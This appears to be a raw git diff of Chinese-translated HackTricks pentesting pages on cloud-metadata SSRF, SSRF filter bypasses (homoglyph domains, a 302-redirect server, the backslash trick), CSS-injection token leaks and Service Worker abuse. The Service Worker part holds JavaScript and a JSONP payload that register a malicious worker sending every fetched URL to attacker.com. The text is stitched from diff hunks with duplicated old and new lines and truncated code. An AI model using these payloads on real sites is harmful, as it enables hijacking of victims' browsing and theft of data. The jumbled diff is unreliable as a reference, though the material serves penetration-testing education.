<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您能更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Azure <a href="#cea8" id="cea8"></a>
### Azure虚拟机
### Azure VM
[**文档**在这里](https://learn.microsoft.com/zh-cn/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
[**此处有文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
* **必须**包含头部 `Metadata: true`
* **不能**包含 `X-Forwarded-For` 头部
* 不能包含 `X-Forwarded-For` 头部
{% tabs %}
{% tab title="Bash" %}
@ -521,22 +537,27 @@ Rancher supports various cloud providers, including AWS, GCP, and Azure, allowin
With Rancher, users can easily create and manage Kubernetes clusters, deploy applications, and monitor their performance. It provides a centralized dashboard that allows users to view and manage all their clusters and applications in one place.
One of the key features of Rancher is its ability to integrate with external services and tools. It supports integration with popular monitoring and logging tools, allowing users to easily monitor and analyze the performance of their applications.
One of the key features of Rancher is its ability to integrate with external services and tools. It supports integration with popular monitoring and logging tools, allowing users to easily monitor and analyze the performance of their applications. It also supports integration with CI/CD tools, making it easy to automate the deployment and management of containerized applications.
Rancher also provides built-in security features, such as role-based access control (RBAC) and multi-factor authentication (MFA), to ensure the security of the containerized applications.
Overall, Rancher is a powerful and user-friendly platform for managing containers in a Kubernetes cluster. Its support for various cloud providers and integration with external services make it a versatile choice for deploying and managing containerized applications.
Overall, Rancher is a powerful and flexible platform for managing containers in a Kubernetes environment. Its user-friendly interface and extensive features make it a popular choice among developers and DevOps teams.
```
curl http://rancher-metadata/<version>/<path>
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>

View file

@ -7,11 +7,19 @@
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### 本地主机
```bash
# Localhost
@ -145,15 +153,15 @@ attacker。com
Domain confusion is a technique used to bypass SSRF protection mechanisms that rely on blacklisting or filtering specific domains. It involves using alternative representations of a domain name to deceive the protection mechanism and make it allow requests to a restricted domain.
域名混淆是一种绕过基于黑名单或过滤特定域名的SSRF保护机制的技术。它涉及使用域名的替代表示方式来欺骗保护机制使其允许对受限域名请求。
域名混淆是一种绕过基于黑名单或过滤特定域名的SSRF保护机制的技术。它涉及使用域名的替代表示方式来欺骗保护机制使其允许对受限域名发出请求。
For example, if the protection mechanism blocks requests to the domain "example.com", an attacker can use alternative representations such as "exаmple.com" (with a Cyrillic "а" instead of the Latin "a") or "xample.com" (with a fullwidth "" instead of the regular "e"). These alternative representations may look visually similar to the original domain, but they are treated as different domains by the protection mechanism.
For example, if the protection mechanism blocks requests to the domain `example.com`, an attacker can try using alternative representations such as `exаmple.com` (with a Cyrillic "а" instead of the Latin "a") or `xample.com` (with a fullwidth "" instead of the regular "e"). These alternative representations may bypass the protection mechanism's filters and allow the attacker to make requests to the restricted domain.
例如,如果保护机制阻止对域名"example.com"的请求,攻击者可以使用替代表示方式,如"exаmple.com"(使用西里尔字母"a"代替拉丁字母"a")或"xample.com"(使用全角字符""代替常规字符"e")。这些替代表示方式在视觉上可能与原始域名相似,但在保护机制中被视为不同的域名
例如,如果保护机制阻止对域名`example.com`的请求,攻击者可以尝试使用替代表示方式,如`exаmple.com`使用西里尔字母“а”代替拉丁字母“a”或`xample.com`使用全角字符“”代替常规的“e”。这些替代表示方式可能会绕过保护机制的过滤器使攻击者能够对受限域名发出请求
By using domain confusion, an attacker can bypass SSRF protection mechanisms that only consider exact domain matches. It is important for developers and security professionals to be aware of this technique and implement more robust protection mechanisms that can detect and block such alternative representations of domains.
It's important to note that not all protection mechanisms can be bypassed using domain confusion, as some may have more sophisticated filters that can detect and block such attempts. However, it's still a technique worth trying during SSRF testing to identify potential vulnerabilities.
通过使用域名混淆攻击者可以绕过仅考虑精确域名匹配的SSRF保护机制。开发人员和安全专业人员需要意识到这种技术并实施更强大的保护机制以便能够检测和阻止这种域名的替代表示方式
需要注意的是并非所有的保护机制都可以通过域名混淆来绕过因为有些机制可能具有更复杂的过滤器可以检测和阻止此类尝试。然而在SSRF测试中尝试这种技术仍然是值得的以便发现潜在的漏洞
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -202,8 +210,8 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
### 通过重定向绕过
可能服务器正在**过滤SSRF的原始请求**,但却没有过滤可能的**重定向**响应。\
例如一个容易受到SSRF攻击的服务器如`url=https://www.google.com/`可能正在**过滤url参数**。但是,如果你使用一个[用于响应302的Python服务器](https://pastebin.com/raw/ywAUhFrv)到你想要重定向的位置你可能能够访问被过滤的IP地址如127.0.0.1,甚至被过滤的**协议**如gopher。\
可能服务器正在**过滤原始请求**的SSRF,但却没有过滤可能的**重定向**响应。\
例如一个容易受到SSRF攻击的服务器`url=https://www.google.com/`可能正在**过滤url参数**。但是,如果你使用一个[python服务器以302响应](https://pastebin.com/raw/ywAUhFrv)到你想要重定向的位置你可能能够访问被过滤的IP地址如127.0.0.1,甚至被过滤的**协议**如gopher。\
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -229,9 +237,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### 反斜杠技巧
简而言之_反斜杠技巧_ 依赖于两个“URL”规范之间的一个细微差别[WHATWG URL标准](https://url.spec.whatwg.org/#url-parsing)和[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)。RFC3986是一个通用的、多用途的规范用于定义_统一资源标识符_的语法而WHATWG URL标准专门针对Web和URL它们是URI的子集。现代浏览器实现了WHATWG URL标准。
简而言之_反斜杠技巧_依赖于两个“URL”规范之间的一个细微差别[WHATWG URL标准](https://url.spec.whatwg.org/#url-parsing)和[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)。RFC3986是一个通用的、多用途的URI统一资源标识符语法规范而WHATWG URL标准专门针对Web和URL它们是URI的子集。现代浏览器实现了WHATWG URL标准。
它们都描述了一种解析URI/URL的方式只有一个细微的差别。WHATWG规范描述了[一个额外的字符](https://url.spec.whatwg.org/#authority-state),即`\`,它的行为与`/`类似结束主机名和权限并开始URL的路径。
它们都描述了一种解析URI/URL的方式只有一个细微的差别。WHATWG规范描述了[一个额外的字符](https://url.spec.whatwg.org/#authority-state),即`\`,它的行为与`/`完全相同结束主机名和权限并开始URL的路径。
![两个规范以不同方式解析相同的URL](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -241,14 +249,22 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
图片来源:[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

View file

@ -6,16 +6,24 @@
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)****
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
{% code title="victim.html" %}
```html
<!doctype html>
@ -226,18 +234,24 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
</details>

View file

@ -1,25 +1,35 @@
# 滥用Service Workers
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
Service Worker是一个在后台运行的**脚本**,与网页分开,为不需要网页或用户交互的功能提供了可能性。([更多关于什么是Service Worker的信息](https://developers.google.com/web/fundamentals/primers/service-workers))。\
然后,您可以通过在**易受攻击的**Web**域**中的**受害者会话**内**创建/修改Service Worker**来滥用Service Worker从而使攻击者对**受害者将在该域中加载的所有页面**具有控制权。
Service Worker是一个**脚本**,您的浏览器**后台运行**,与网页分开,为不需要网页或用户交互的功能打开了大门。([更多关于什么是Service Worker的信息](https://developers.google.com/web/fundamentals/primers/service-workers))。\
然后,您可以通过在**易受攻击的**Web**域**中的**受害者会话**内**创建/修改Service Workers**来滥用Service Workers从而授予攻击者对受害者将在该域中加载的**所有页面**的控制权。
### 检查现有的SWs
您可以在**开发者工具**的**应用程序**选项卡中的**Service Workers**字段中查看它们。您还可以查看[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)。
您可以在**开发者工具**的**应用程序**选项卡的**Service Workers**字段中查看它们。您还可以查看[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)。
### 推送通知
@ -28,19 +38,19 @@ Service Worker是一个在后台运行的**脚本**,与网页分开,为不
## 攻击创建Service Worker
为了利用漏洞,您需要找到:
为了利用这个漏洞,您需要找到:
* 一种**上传任意JS文件**到服务器并**通过XSS加载服务工作者**的方法
* 一个**易受攻击的JSONP请求**,您可以**操纵输出使用任意JS代码**和一个**XSS**来**加载带有恶意服务工作者的JSONP负载**。
* 一种**上传任意JS文件**到服务器并**加载服务工作者的XSS**的方法
* 一个**易受攻击的JSONP请求**,您可以**操纵输出使用任意JS代码**和一个**XSS**来**加载带有恶意Service Worker的JSONP**。
在下面的示例中,我将介绍一段代码,用于**注册一个新的服务工作者**,该服务工作者将侦听`fetch`事件,并将**每个获取的URL发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
在下面的示例中,我将介绍一段代码,用于**注册一个新的Service Worker**该Service Worker将侦听`fetch`事件,并将**每个获取的URL发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
以下是将**注册工作线程**的代码(您应该能够通过滥用**XSS**来执行的代码)。在这种情况下,将向**攻击者**的服务器发送一个**GET**请求,通知是否成功**注册**服务工作线程
以下是将**注册服务工作者**的代码(您应该能够通过滥用**XSS**来执行的代码)。在这种情况下,将向**攻击者**的服务器发送一个**GET**请求,通知服务工作者的**注册**是否成功
```javascript
<script>
window.addEventListener('load', function() {
@ -68,11 +78,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
## 通过DOM Clobbering滥用SW中的`importScripts`
从Service Worker中调用的函数**`importScripts`**可以从不同的域导入脚本。如果攻击者能够修改此函数的参数他将能够从自己的域导入JS脚本并进行XSS攻击
从Service Worker中调用的函数**`importScripts`**可以从不同的域导入脚本。如果使用**攻击者可以修改的参数**调用此函数他将能够从自己的域导入JS脚本并获取XSS
**这甚至可以绕过CSP保护。**
**示例易受攻击的代码**
**漏洞代码示例:**
* **index.html**
```html
@ -90,7 +100,7 @@ self.importScripts(host + "/sw_extra.js");
```
### 使用DOM Clobbering
有关DOM Clobbering是什么的更多信息,请查看:
有关DOM Clobbering的更多信息请查看
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
@ -104,13 +114,20 @@ self.importScripts(host + "/sw_extra.js");
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
查找最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

View file

@ -1,8 +1,8 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
